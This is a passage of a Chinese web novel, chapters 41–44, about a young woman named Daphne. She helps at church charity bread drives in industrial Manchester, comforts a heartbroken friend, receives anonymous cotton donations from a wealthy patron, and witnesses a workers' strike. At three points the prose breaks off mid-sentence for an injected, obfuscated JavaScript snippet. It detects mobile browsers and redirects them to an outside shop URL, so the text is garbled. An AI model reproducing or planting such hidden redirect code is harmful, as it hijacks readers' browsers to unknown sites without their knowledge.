“只要有我在每一个面包都不能出了那个筐子。”卡丽像只老鹰一样,从头盯到尾生怕另外两个佣人用手指掰点面包偷偷塞到嘴里,“这可是狄默奇家的头等大事,关乎一百零八号的名誉,决不能出一点差错!” 黛芙妮戴上朴素的小圆帽和手套,披上薄薄的丝巾对卡丽笑了笑:“卡丽,我先过去了。” 她两只手一手拉着一个筐防止面包滚落,到教堂的时候用力甩甩手臂将麻意和酸涩感赶出去。 今天的教堂非常热闹,穿着灰扑扑的人几乎占据整个广场,那些肆无忌惮的鸽子也被逼得不得不停在房檐上,不爽地盯着那些不速之客。 道奇挥着马鞭控制马稳稳前行,一边高喊让那些拥挤的人挪出条路来。 面包香可比马车自由多了,它们肆无忌惮地在人群里跑动,将每一个被它们经过的人都引得胃里的馋虫翻涌不止。 奥尔斯顿牧师站在教堂门口最高的台阶上一眼便瞧见了这里的困境,他又是喊着让人走开又叫几个帮工去帮忙。 “走开!” 几个明显是工人的男人有秩序地走过来帮忙给即将惊慌的马让出一条路来。 黛芙妮拉开窗户和离她最近的一个男人说:“先生,这辆马车等会儿还需要再拉一趟,麻烦了。” 他皮肤很干燥,毛孔粗大,人很瘦弱也很疲惫但眼睛里的光并不虚弱:“没问题!” 马车艰难地挤到最前方,一些在教堂里帮忙的太太们立马围过来将两大筐白面包接过去。 等黛芙妮下车后,道奇又苦着脸使劲拽着马一点点挪出去。 “来了多少人?”黛芙妮问熟人艾乐。 “这里大概有好几百人,还有些在路上。”艾乐说,她带着黛芙妮去和奥尔斯顿牧师会合。 奥尔斯顿牧师非常感谢狄默奇一家的慷慨捐赠,他说:“你和狄默奇太太的到来真是一大福祉,今天来的人是从前的两倍我想和失业有很大关系,好在你们带来了那么多的面包足够将今天对付过去。” 和牧师分开后,黛芙妮和艾乐又去了最前面平地处搭着的一长排桌子的地方,刚刚那两大筐面包被放在了桌子下面,边上还有大概十筐的面包除此之外每个筐边还有一箱牛奶。 她和艾乐站在其中两张空桌子边等着一会儿分发,现在还没开始就小声说起话来。 “那些人是牧师请来帮忙的吗?”黛芙妮看向刚刚帮助她的十来个人问,因为这会儿那十来个人又有序地站在桌子四周和每个发放物资的桌子面前。 “他们是自愿来帮忙的,都是工人,领头的那个叫科尔,他在工厂区挺有威望的只有他来那些人才会乖乖听话,否则哪里还等我们将桌子支起来,早就被抢光了。”艾乐说。 黛芙妮点头:“这些牛奶?” 给大人一定不够分那就是给孩子的,但是是给几岁的孩子她还不清楚。 “六岁以下的,不过很多其实看上去矮小已经八九岁了。”艾乐说。 “那怎么办?”黛芙妮问。 “这批牛奶是贵族太太资助的足有两百袋,想来就是八九岁孩子的份也够了。”再次搬来一箱牛奶的卡彭特太太说。 “妈妈,你去休息一下。”艾乐扶着她说。 卡彭特太太咳了两声,点头。 等到狄默奇太太也带着最后的两大筐面包赶到时,奥尔斯顿牧师才挥手表示可以开始了。 他站在桌子的一头,大部分领到面包的人都会专门去和他说一声感谢。 黛芙妮按照规定每个人给一块面包,孩子多给一袋牛奶。 每一个等待的人都将脖子伸得长长的,焦急和担心地盯着她的动作,等轮到自己的时候就会露出笑来。 “谢谢,小姐。”只要从她手里接过物资的人都会充满感激地对她说这句话。 辛苦了一早上得到了上百声感谢的黛芙妮,由衷地展露笑颜。 源源不断的人从四面八方的小巷里涌出来加入队伍,一筐筐白面包和牛奶逐渐见底。 “早上好,小姐。” “妮可女士?你也来了!”黛芙妮很惊喜,她将白面包塞到她手里,“派翠西亚在家里吗?” 妮可点点头,将那个巴掌大的白面包使劲地往衣服里挤。 黛芙妮又犹豫地拿出一个白面包外加一袋牛奶给她:“拿去给派翠西亚。” 这一幕被排在妮可后面的一个女人看见,她喊:“她一个人为什么能领两个人的量,还有一袋牛奶!” 周围的人被吸引都朝这里看过来,一下子变得吵嚷起来。 “嘿!你们在做什么!”科尔伸手将混乱的人群拨开,“你们怎么回事?” “她一个人领了两个人的量。”排在后面的女人说。 黛芙妮急着摆手,她说:“妮可女士有个女儿,那是给她女儿的。” “但是我们没有看到她的女儿。”有人说。 科尔让妮可抬起头,他看了眼显然是认识对方的,他对大家说:“我知道她,也知道这位小姐没有包庇。” “那我家里还有两个女儿我能不能代领两份?”有人问。 “我将我儿子的那份给她。”科尔说。 这下没人说话了,队伍又安静下来。 黛芙妮张张嘴又闭上,突然意识到自己刚刚的举措不够理智,有些懊恼。 妮可感谢过她和科尔后抱着怀里的东西一下子就消失了,科尔直接站在了黛芙妮面前的桌边,维持秩序。 不好直接说出派翠西亚的情况,虽然工人们可能大部分都知道她但派翠西亚的情况在教会是很忌讳的。 万一奥尔斯顿牧师十分反感这类异常,很可能会为妮可母女带来毁灭性的打击。 也正是这样妮可才没有带派翠西亚过来,害怕一个不注意被发现。 黛芙妮叹气,她转头看到蹲在一边的道奇朝他招手。 “去买一袋白面包和一袋牛奶。”她吩咐道。 等她将最后一个面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16724382|184350||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 包交给一位姑娘的时候,道奇也回来了。 “科尔先生!”黛芙妮叫住打算招呼维持秩序的工人离开的科尔。 他眉眼间的凹痕如同百年榉木的年轮一样是经历过颇多岁月的洗礼出来的,他走过来问:“还有什么事,小姐?” 黛芙妮把面包和牛奶拿给他:“这是你儿子的。” “谢谢。”科尔没拒绝,他拿在手上笑了一下,“十分感谢你的帮助,祝你有美好的一天。” 他们将桌子全部搬进教堂的仓库后很快就走了,帮忙的太太小姐们捶腰捏肩瘫坐在教堂里的长椅上。 狄默奇太太一手按着肩膀甩了两下:“你感觉怎么样?” “我没事。”黛芙妮说。 艾乐和她的妈妈卡彭特太太走来。 “如今失业的人越来越多了,两个月一次的慈善活动一些太太建议改为一月一次或是半月一次,你们怎么想?”艾乐很直接地看向她们。 “这很好,我们没有意见。”狄默奇太太不假思索地赞同。 奥尔斯顿牧师也走到了她们这里,十分认真地说:“敬爱的太太小姐们,十分感恩你们的捐赠,这样慈善的举措我一定要和主说。” 狄默奇太太和卡彭特太太非常高兴。 “对了,你们对两月一次的慈善活动改为一月一次有想法吗?”奥尔斯顿牧师问。 “我们都没有意见。”黛芙妮说。 奥尔斯顿牧师欣慰地点头:“一些太太还提议可以将大家不要的衣服都带来捐给那些可怜人。” 艾乐和卡彭特太太没说话。 狄默奇太太说:“我们刚搬来,一些曾经的旧衣服早早地就捐给了利物浦的教堂,现在倒是没有可以捐赠的衣物了。” “噢!我不是说每个人都必须参加。慈善从来都是自愿的,要发自内心的,要自己也有的。”奥尔斯顿牧师说,“不过看起来,你们也觉得这个主意不错?” “是非常好。”黛芙妮说,“捐赠的都是他们必需的,比那些昂贵的油画更适合。” 奥尔斯顿牧师点点头:“那就这么决定了,我得去说一声,最好有个具体规划!” 黛芙妮和狄默奇太太与卡彭特母女告别,回了一百零八号。 忙忙碌碌一上午,这会儿两人坐在沙发上一时都不想起来。 惠特妮跑来说:“小姐,上午一百十五号的亨斯通家的仆人来了口信,说亨斯通小姐生病了,希望你能去看看。” “贝拉生病了?”黛芙妮吃惊,她直起现在才反应过来十分酸软的背,“妈妈,我下午去看看贝拉。” “去吧,带上卡丽做的大黄果酱和蜂蜜!”坐下后,狄默奇太太就一时半会儿起不来了,她扶着腰靠在沙发上对匆匆跑上楼去换衣服的黛芙妮喊道。 黛芙妮换了一件近来做的衣服下来时,卡丽已经将看望的礼品整齐地放在漂亮的花篮里了。 “哪来的雏菊?”黛芙妮问。 “刚刚街边来了个卖花女,从她那里买的。”卡丽说,“真是凑巧。” 惠特妮拎上花篮跟着黛芙妮徒步走向一百十五号,将礼品交给亨斯通家的佣人才离开。 和亨斯通太太打过招呼后黛芙妮来到贝拉的房间。屋内十分昏暗,克洛伊将独处的空间让给她们。 “贝拉?”黛芙妮坐在床边问。 身穿白色睡裙披散着头发的贝拉动了动,她用很轻的但很悲伤很破碎的声音说:“他要结婚了。” 42. 慷慨 “你是说——”黛芙妮张嘴好几次才发出不可置信的声音,“他要结婚了?” 贝拉支起上身,黛芙妮在她身后塞了几个枕头。 “和一个木匠的女儿,我知道她,她爸爸也在河边市集做生意。”贝拉说。 黛芙妮忍不住去抱她:“我不知道该说些什么,只是想让你清楚我会在你想要我的时候一直陪伴你。” 贝拉回抱她,那抽泣声细微的几乎听不见,好一会儿她才吸吸鼻子松开黛芙妮。 “我家人都不知道这件事,我绝对不能说。”贝拉说。 “我明白。”黛芙妮握紧她的潮湿的双手,“你需要我做什么吗?见他一面?” “不,我没有这样想过,我和他甚至从来没有说开过,太羞耻了。”贝拉摇头,“我只是觉得有点——太猝不及防了。” “一个月都没有他就要结婚了,你说得对太仓促了。”黛芙妮说。 贝拉用手背轻轻按压脸上的泪痕,说话还带着浓浓的鼻音:“我长大了,我可以更好地面对每一次挫折。” “你比从前更加强大,我永远也比不了你。”黛芙妮笑了一下。 “但是我不希望这样的事发生在你身上,麻木不过是疼痛的尽头。”贝拉说。 咚咚咚,克洛伊端着小托盘进来。 “贝拉,你需要喝药了。”她说着去拉开一点窗户。 处理过的柳树皮磨成粉被加入啤酒中摇晃均匀,它顺着贝拉的喉咙抵达胃部。 克洛伊坐在床的另一边看了眼门口说:“妈妈说你起码要喝一礼拜的药,但我想你那么坚强三天就够了。” 贝拉靠在枕头上,眉目复杂:“差不多了。” 黛芙妮偷偷看向克洛伊,原来她也知道了。 贝拉却对她摇摇头。 那就是猜到一点了。 “我已经十八岁了,黛芙妮只比我大一岁,”克洛伊有点不高兴,然后看向黛芙妮,“但是我敢保证你绝对没有我了解。” 黛芙妮习惯性地用微笑来回应。 “你们要相信,女人在某种方面有着超乎寻常的直觉。”克洛伊眯起眼睛,“贝拉的失恋,黛芙妮的高傲。” “高傲?我?”黛芙妮惊讶,“我没有!” “我是说在面对男性的时候,尤其是追求者。”克洛伊说。 黛芙妮断断续续地笑出声,她觉得有点荒诞和无措:“克洛伊我保证我没有,我从不傲慢地对待他人,而且我也没有追求者。” “好吧。” 克洛伊看了她两秒也不争辩,反倒把黛芙妮的心态搞得不上不下得有些郁闷。 贝拉突然笑出声,首先对克洛伊说:“亲爱的妹妹,我绝对没有故意不告诉你,我不说是因为这不是一件——很光彩的事。但我没想到这样的举措会伤害到你,我很抱歉。” “过去的事就不要再说了。”克洛伊勾起嘴角。 “黛芙妮,请你原谅刚刚克洛伊对你的评价,她不是在贬低你。”贝拉又对黛芙妮说。 “过去的事就不要再说了。”黛芙妮抬起下巴,故意高傲地说。 三人对视一眼,同时笑起来。 在亨斯通家坐了一下午黛芙妮才返回一百零八号。 狄默奇太太坐在沙发上,面前摆了一个编织筐,见她回来了问:“贝拉还好吗?” “没有什么问题,只是有些感冒。”黛芙妮脱下手套走过来说,“为什么把这些东西放在这里?” 筐里是一些针线、桌垫、杯子等。 “这些东西都是家里已经用不到的,我想攒起来到时候给有需要的人。”狄默奇太太说。 卡丽哼哧哼哧地从地下室抱了一个大箱子上来。 她把东西放在桌子上,喘着大气:“这些是用不着的厨房用品。” 黛芙妮拿出一套刚搬来时临时买的白蜡木餐具、一口外观被撞得凹进去的铜制水壶、一个土豆蒸锅还有两个保温盘。 “只有这些了。”卡丽叉腰。 “我更惊讶的是这么快就有需要被淘汰的东西吗?”黛芙妮把东西放回去说。 半个月后她们收到了奥尔斯顿牧师递来的消息,他结合大多数人的意见决定再办一次慈善活动。 这一次时隔太接近了,狄默奇一家也没有多余可以支配的钱来做面包,所以半个月攒下来的生活用品帮上了忙。 狄默奇先生前一天还从出版社抱回了两箱废弃报纸和一小箱装订边角料。 前者对于穷苦人家来说是糊墙纸和包装材料的绝佳的工具,后者可以被用来修补衣服或做简易鞋履。 这些东西稍微有点闲钱的人都不屑用认为有失身份,对穷人来说却很难得到,因为一般出版社附近的垃圾桶都有人定点划块的驻扎,没点实力还抢不到。 就在她们清点完打算再次分两批走的时候,一辆货车停在一百零八号边上。 车夫从上面下来,直直走向疑惑的狄默奇太太和黛芙妮。 “太太,小姐。我按照路威尔顿先生的要求运来了几箱混纺棉布用于今天的慈善活动。”那个人说。 这下大家都惊讶得不行。 “路威尔顿先生?”狄默奇太太再三确定,“康斯坦丁·路威尔顿先生?” “是的。”车夫说,“路威尔顿先生有一个要求,希望太太和小姐不要把他的名字说出去。” 黛芙妮都不知道怎么表达这份惊喜,明明对方不是教徒却一而再地帮助教堂,这份心善完全不知道要怎样感谢的好。 “实在是太感谢了,请一定要将我们这份感激之情转达给路威尔顿先生。”黛芙妮对那个车夫说。 有了一辆大货车的帮助,狄默奇家凑起来的几个箱子也都放在了货车上,狄默奇太太和黛芙妮都上了自家的马车。 “路威尔顿先生不仅慷慨大方还十分低调,不论是上次捐献的修建教堂的费用还是这次的慈善活动都足以证明他出色的人品。”狄默奇太太对他大为称赞。 黛芙妮点头:“既然他不愿意将自己的名字公布,那我就私下为他祈祷,主一定会保佑他的。” “迈尔斯先生!”卡丽高喊一声将打算往另一个方向走的迈尔斯暴露在众人面前,“你上班的地方得往这边走,我瞧你一定是睡糊涂了。” “迈尔斯。”狄默奇太太叫他。 迈尔斯折返过来:“姨妈,黛菲,你们在做什么?” “我们要去教堂。你得和我们一起去。”狄默奇太太说。 “姨妈,我——”迈尔斯咧嘴,搓手。 “迈尔斯,今天你必须得和我们一起去了,我们需要你的帮助。”黛芙妮温柔地说,“而且你也应该去和上帝打声招呼了。” 迈尔斯只得双手一摊,笑得灿烂:“好的!” 路威尔顿先生的混纺棉布遭到了在场人员的哄抢,场面不亚于一次战争。 等结束的时候,黛芙妮和狄默奇太太都累得不行,这回是真的站不住了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16738607|184350||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 迈尔斯一结束就走了说是有约,狄默奇太太郁闷地点头,黛芙妮心里不高兴不虔诚的人在她看来人品有待商榷。 “狄默奇太太,黛芙妮,你们从哪里弄来了这么多混纺棉布?”艾乐高兴地问。 “一位好心先生的捐赠,但是他不愿意透露姓名。”黛芙妮坐在教堂里的长椅上说。 “我猜大概是一位有名望的绅士又或是一位有钱的寡居太太。”艾乐双手叠在椅背上猜测。 “为什么不能是一位工厂主?”黛芙妮说,“毕竟捐的是棉布。” 这话引得周围一圈人都在发笑。 一位杂货摊的太太调侃:“黛芙妮,你居然也会开玩笑。” “你们总得给我一个理由吧,为什么不可能。”黛芙妮说。 “因为他们都是恶狼,只有他们侵占别人的份从没有自己吃亏的事。”艾乐嗤笑,“尽管对于那些大厂主来说这些棉布不算什么就是丢掉也不会心疼,可一旦要给我们那他们可得叫唤到天上去。” “但是——”黛芙妮犹豫,“我亲眼看到的,路威尔顿先生他还捐了植物园的温室建筑,我是说他们也会做慈善。” “植物园是他们会去的地方我们不会去的地方。”一位工人太太说,“他们的慈善只会出现在他们的地盘上。” “对于他们来说慈善也是有阶级的。”卡彭特太太说。 他们开始七嘴八舌地嘲讽批判工厂主,路威尔顿先生也无可避免。 黛芙妮和狄默奇太太是知道真相的,但她们得了嘱托没资格公之于众,这会儿坐在这里听他们说路威尔顿先生浑身都难受起来了。 于是找了个借口早早地离开。 “他们之间的矛盾就是世界上最精巧的绣娘都无法缝补。”狄默奇太太说。 七月,一年中最热的月份在迈尔斯一声声吹嘘中到来。 他在歌剧院很受顾客的喜爱,常常能赚不少的小费。虽然狄默奇先生对于他自甘堕落的选择嗤之以鼻但也不会去说教,他选择了冷眼旁观。 有时候黛芙妮想起克洛伊的那句话‘女人在某种方面总有超乎寻常的直觉’,不得不赞同她。 因为她好像发现了一点迈尔斯的秘密就是不知道妈妈有没有那种直觉。 迈尔斯好像有了情人,他变得更爱打理自己,衣服必须熨烫整齐领带要搭配服饰现在还学会了喷香水,甜言蜜语那更是张口就来,把一开始不习惯害羞尴尬的黛芙妮锤炼的麻木了。 虽然她对迈尔斯的某些行为看不上眼但一想到康纳姨妈和姨父,正直友善的夫妇,这种印象时常在她有些不悦的时候跳出来。 于是在面对又一次的迈尔斯自己都开始无法控制的甜言中回复他:“迈尔斯,你最近看起来很快乐,是有什么好事要和我们分享吗?” “你真聪明,我不得不承认你是对的。但是我想保持一点神秘感所以我亲爱的黛菲请你再耐心地等一等。”迈尔斯一手放在黛芙妮背后的沙发背上一手敲击着大腿。 “你要结婚了?”黛芙妮眨巴眼睛。 迈尔斯瞪大眼睛看着她笑出声:“噢,我亲爱的!结婚吗?好吧其实差不多。有一位小姐非常喜欢我,虽然我们还没有到谈婚论嫁的地步,但我相信只要我肯求婚她一定会答应。” “姨妈和姨父听到一定会喜极而泣的。”黛芙妮是真心地恭喜他。 “那你会为我流下喜悦的泪水吗?”迈尔斯问。 “当然!”黛芙妮不假思索地回答。 43. 钢琴 这一天,狄默奇先生带回了一架崭新的立式钢琴,黛芙妮高兴地围着搬运工人转圈让他们小心再小心。 “爸爸!”她拥抱狄默奇先生,将这份激动传递给他,“天呐!我们又有了一架钢琴!” 狄默奇太太让工人将钢琴放在大会客室靠近窗边的角落,这样一来黛芙妮练琴的时候大家都能听到。 狄默奇先生结清账款,将帽子摘下乐呵呵地看着黛芙妮:“看来买下这架钢琴是个正确的决定。” “是的,但是如果在利物浦那架没卖掉带来就更好了,能省不少钱。”狄默奇太太说。 “那架钢琴已经老得不能再老了,维修和频繁的调音简直让人无法好好碰它一下。”狄默奇先生说。 “你花了多少钱?”狄默奇太太问,现在失业率高她不得不保持一份警惕好面对一切困难。 “啊!黛菲你也喜欢侧边的雕花吗?”狄默奇先生提高音量朝黛芙妮走去。 “卡丽,卡丽!”黛芙妮坐在琴凳上呼喊,“把我的琴谱拿来!” 卡丽应了一声,脚步飞快地往楼上走去。 “狄默奇先生,你还没告诉我你到底花了多少钱?”得不到回答的狄默奇太太有些急了。 “好吧。”狄默奇先生说,“五十英镑。” “五十英镑!”狄默奇太太尖叫,“你三个月的工资!” 黛芙妮收回即将放上琴键的手指,站起身无措地看着爸爸妈妈。 “爸爸——”她心里惴惴的。 “黛菲,别责怪自己,家里确实需要一架钢琴免得让你的琴技生疏。”狄默奇太太对女儿还是很和蔼的。 “但是你,先生,你没和我商量就自己作决定——”接着她又生气地转向狄默奇先生, “不不不。我刚刚拿到了上个月帮忙改进一位商人机器的费用,所以这架钢琴没花钱甚至我还有五十英镑的结余。”狄默奇先生抬起头对着站在他一左一右两个女人得意地说。 “你刚才怎么不说。”狄默奇太太面带笑容,责怪都变得轻飘飘的。 黛芙妮也重新露出笑容,她一屁股坐下,这回纤细的手指可以放心按在琴键上了。 “一个惊喜!”狄默奇先生说。 卡丽拿来黛芙妮的琴谱也不去干活了而是站在狄默奇太太身边,和他们一起欣赏黛芙妮的琴声。 黛芙妮弹了欢快活泼的《土耳其进行曲》,这一刻她好像回到了利物浦,还想起了在谢利女子学校的生活。 在这个时代女性能走出家庭去正规学校上学是非常少见的,但是狄默奇先生始终认为只有接受正规教育才算真正的开化,在思想上、眼见上都会有巨大的变化。 谢利女子学校是当时甚至是现在都屈指可数的女性学院,虽然规模不大但是该有的课程都有,不限于烹饪、缝纫、舞蹈等独属女性需要学习的内容还有拉丁语、古典文学、数学等。 那三年几乎是她有记忆以来最快乐的时光,在搬来曼彻斯特前她刚刚毕业如今闲暇时间还时常会想念那些美好的回忆。 一架钢琴又点燃了黛芙妮的学习乐趣,连着三天白天、夜晚的弹奏,直将家里的狄默奇夫妇和佣人逼得从欣赏到害怕。 “路威尔顿先生来了。”惠特妮喊了一声。 黛芙妮停下手指,狄默奇夫妇明显松了口气格外热情地欢迎客人的到来。 “晚上好先生。”黛芙妮坐在琴凳上对他说。 “黛芙妮小姐。”路威尔顿先生摘下帽子走近对她说,接着又转身朝狄默奇夫妇点头,“先生、太太。” “康斯坦丁,你有两天没来了。”狄默奇先生让他坐下说话。 他毫不犹豫地在正对黛芙妮的单人沙发上落座,这是个绝佳的观景区。 “看一部书哪里有这么快的。”狄默奇太太嗔怪地看狄默奇先生。 “康斯坦丁是我见过最有天赋的人,完全不比那些大吹大擂的天才差。”狄默奇先生说。 “你从哪里毕业的?”狄默奇太太好奇问。 路威尔顿先生说:“我没上过学,太太。” “别开玩笑,康斯坦丁。”狄默奇先生不相信。 说实话黛芙妮也不相信,因为她就没见过什么也不会的人能赚大钱,更何况他的言行举止、谈吐各方面都无可挑剔。 但是他的表情显然就在证明他没有开玩笑。 狄默奇太太说:“看来这是一段艰辛的经历,但是学历也不代表一切,你还是如此的成功。” “谢谢。”他双腿交叠,淡淡地说。双腿动了交叠在一起,皮鞋尖上翘,眼神闪烁地落在黛芙妮脸上,不敢错过她一丝情绪和反应。 “经历是无价的不可替代的。”狄默奇先生点头然后朝黛芙妮的方向说,“黛菲,你可以为我们演奏一首动听的音乐吗?” “当然。”黛芙妮立马同意,流畅的音符渐渐抚平滞涩的气氛。 狄默奇夫妇同时露出舒心的笑来。 “美妙的音乐,谢谢你的慷慨,小姐。”一曲完毕,路威尔顿先生最先鼓掌,“舒曼的《梦幻曲》,黛芙妮小姐的琴技出乎我的意料。” “先生你听过?”黛芙妮说,她就坐在琴凳上也不打算过去。 “我听教导我妹妹的家庭教师弹奏过。”他说。只是多琳水平很一般看来她需要更努力练习才行。 黛芙妮却想,他对妹妹他真的很上心,聘请家庭教师、听歌剧、参加谢幕宴会进行社交等等,显然在弥补路威尔顿小姐某些重要方面的空白经验。 “噢!有一件事我老早就想当面对你说一句感谢,路威尔顿先生。”狄默奇太太认真地说,“上次的慈善活动你让人送来的棉布真是帮了大忙,很多人都想感谢你。” 路威尔顿先生点头:“请不要在意。以及太太我还是那句话希望越少人知道越好。” “当然。” 狄默奇先生看聊得差不多了就说去书房。 路威尔顿先生起身,拢了拢西装外套,他得打起精神去完成必要的‘工作’。 “可怜的孩子,我这下不得不相信人们说的,那位先生的过往。”狄默奇太太怜悯地看向那道被关上的书房门。 黛芙妮此刻才起身坐到她身边:“我以为在他赚到足够的钱后会选择去大学进修,没想到原来路威尔顿先生并不在意。” “你很欣赏他吗?”狄默奇太太突然问。 “当然。”黛芙妮思考后说,“虽然他有一副天生不好亲近的外表但这并不代表他是个很不会说话的人,冷清但不失体贴,渊博但不高傲而且富有还慷慨。” “黛菲,你告诉妈妈,你喜欢他吗?”狄默奇太太小声问。 黛芙妮的脸瞬间发红,她一双眼睛眨巴眨巴不敢看狄默奇太太,心里有点异样但她否认:“妈妈!要是被听到怎么办!我承认路威尔顿先生是位不错的绅士,但不代表我会因此喜欢他。” “黛菲,对于我们女人来说婚姻是头等大事绝对不能有一点马虎,当然你不喜欢的我也不会强迫你。”狄默 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16749926|184350||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 奇太太摸摸她的头发念叨。 过了一会儿她又问:“你真的没骗我?我觉得路威尔顿先生挺好的。” 黛芙妮冷静下来后还是坚定地摇头:“喜欢一个人总有理由,也许是他的外表也许是他的性格,路威尔顿先生很好可不是我欣赏的那种——” 说到后来她又开始羞涩,从未有过一段恋情的黛芙妮说到这个话题就如出生的小鸟一样,稚嫩和青涩。 刚说完话,书房里的两人就出来了,迈尔斯也下班回来。 三人正面撞上。 “路威尔顿先生?”迈尔斯十分惊讶,他看看狄默奇先生又看看那位从不正眼看他的先生。 路威尔顿先生给了他一个斜眼,微微点头然后对后走来的黛芙妮和狄默奇太太以及站在他身边的狄默奇先生道别。 他对这个黛芙妮的表哥非常厌恶,一个未婚成年人居然还有脸长期住在有年轻女子的亲戚家,和康纳待在一处都是在考验他的面部控制水平。 狄默奇一家将路威尔顿先生送上马车,惠特妮也刚摆好餐具。 “他总是如此高傲。”坐在餐桌边,迈尔斯皱眉不高兴地对黛芙妮说。 “每个人的性格不一样。”黛芙妮说。 “你真觉得这是性格的问题?我明确地知道他看不起我。”迈尔斯斩钉截铁地又有点咬牙切齿,“总有一天我要让他求我。” 最后这句话说得轻,黛芙妮没听清楚:“什么?” “没什么。” 第二天,黛芙妮收到了桑席的邀请函决定去赴约,同路的还有贝拉于是她选择坐亨斯通家的马车前往。 加尔顿宅邸只有一位正经主子外加一个寄住的远房亲戚,所以佣人不需要太多而唯三的佣人年纪都还不轻了。 黛芙妮和贝拉在沙发上坐了半天才等到被通知的桑席和加尔顿太太。 “加尔顿太太。”黛芙妮和贝拉和她打招呼。 加尔顿太太全身上下还唯一有点光芒的眼睛盯着她们看,片刻后让桑席独自招待她们:“你们年轻小姐的事我就不参与了,有什么需要告诉达拉。” 桑席将黛芙妮和贝拉带到她的小厅,其间她好几次走神以及用欲言又止的神情面对黛芙妮两人,弄得她们莫名其妙的。 等到只有她们三人时,贝拉说:“这张邀请函我和黛芙妮可是等了好久,还以为你忘了我们。” “怎么会呢,我只是不知道什么时候你们会有空。”桑席焦急辩解。 她看起来有点憔悴和紧绷,贝拉的玩笑没让她放松下来反而起了反作用,她又看向黛芙妮。 “贝拉不过是开玩笑。不过桑席,你怎么了?”黛芙妮观察她的脸色问。 “我——”桑席不停地翻滚自己的手指,她脸色煞白最后还是摇头:“最近身体不适。” 佣人拿来新鲜的饼干甜品和红茶,刚才她们的话顺理成章地被打断了。 等佣人走后桑席说:“我是昨天才知道贝拉你生病的事,万幸你看上去并无大碍。” 黛芙妮看向贝拉,贝拉笑说:“一点小毛病。” “生病了就听医生的,养好身体才是最重要的。”黛芙妮对桑席说。 门突然被推开,西格莉德爽朗的笑声响起。 “黛芙妮,贝拉。我刚来就听到达拉说你们来了。”西格莉德在她们身边坐下。 黛芙妮和她不熟,贝拉好些。 桑席不知道为什么看到她脸色更白了,特别是当西格莉德说起情人、婚姻时。 44. 罢工 “我比较欣赏性格更温和的先生。”当西格莉德问起时,贝拉也没什么不好意思地说。 “你呢?黛芙妮。”西格莉德问。 “渊博、善良。”黛芙妮较为笼统地回答。 “桑席?”贝拉问桑席。 “我——大概是体贴的。”桑席的脸白得跟墙一样,所有人都被她吓到了。 西格莉德张嘴就要喊达拉去叫医生被桑席制止了,推说自己是经期的缘故。 虎头蛇尾的聚会也因为她的状态被迫中止,回去的路上黛芙妮说:“我怎么觉得桑席是因为西格莉德的话题才这样的。” “可在西格莉德来之前她的状态就不对了,你怎么就下定论了。”贝拉问。 “大概是直觉?”说这话的时候黛芙妮自己都笑了。 自从克洛伊提过‘女人的直觉’后她时不时地也会被影响:“好吧,太不严谨了。没有确切的证据我们不能随意定论,所以就当桑席真的身体不适吧。” 贝拉闷笑出声。 如果说一开始曼彻斯特给黛芙妮的印象不太好后来有了改善,那么八月的开始就让这种好感又开始急剧下滑。 简直是不可思议的。 黛芙妮站在窗户边愣神,狄默奇太太捂着嘴双眼满是震惊。 一支庞大的队伍刚刚经过这里,他们举牌挥杆,声嘶力竭地大喊,从街头走过街尾,散发的愤怒、绝望试图渗透周边。 当他们离开时,几张散落在地上的零碎报纸被一股风吹起,有一张贴在了一百零八号的窗户上。 卡丽有幸目睹人生中第一次如此大规模的罢工运动,对于她那经历丰富的人生来说也是一大新奇。 但她也是反应最快的,推开窗户一把扯下那张破纸。 “工资不得少一文,工时不得加一分!”卡丽读出声。 这句话的背后是一张工厂主引进最新器械的照片,口号被红色颜料大大地涂在人脸和机器上。 又一阵风吹来掀起地上遗留的纸条,黛芙妮伸手拽住一张,一眼看见的同样是最上面的红色颜料。 “为自由而战,为人权而战。”她念出来。 风越来越大,迷住了黛芙妮的眼睛,卡丽着急忙慌地将窗户关上。 “天呐,我简直不相信刚刚的场景。”狄默奇太太回过神在沙发上坐下,她脸上还残留了不少惊恐,“几百人?” “我看到好些人的目光,简直比屠户杀牲畜时还可怕!”卡丽说,“不过更多的还是那些孩子,瘦弱得可怜。” “说到底不都是因为资本家的贪婪。”黛芙妮也在沙发上坐下,听她的话显然是被刚刚的气氛感染了,“如果他们不定下那些剥削人的条例,难道工人会自己找事吗?” “十四个小时的工时确实太长了。”狄默奇太太说。 “但是太太、小姐,谁又不是这么过来的?更何况现在倒闭的工厂那么多,他们这么一闹说不定那些工厂主正好借此把多余的裁掉。”卡丽忧心地说。 到了晚上,狄默奇先生表情严肃地卷着一张报纸回来。 “听说下午那些工人经过了这里,你们没被吓到吧?”他问。 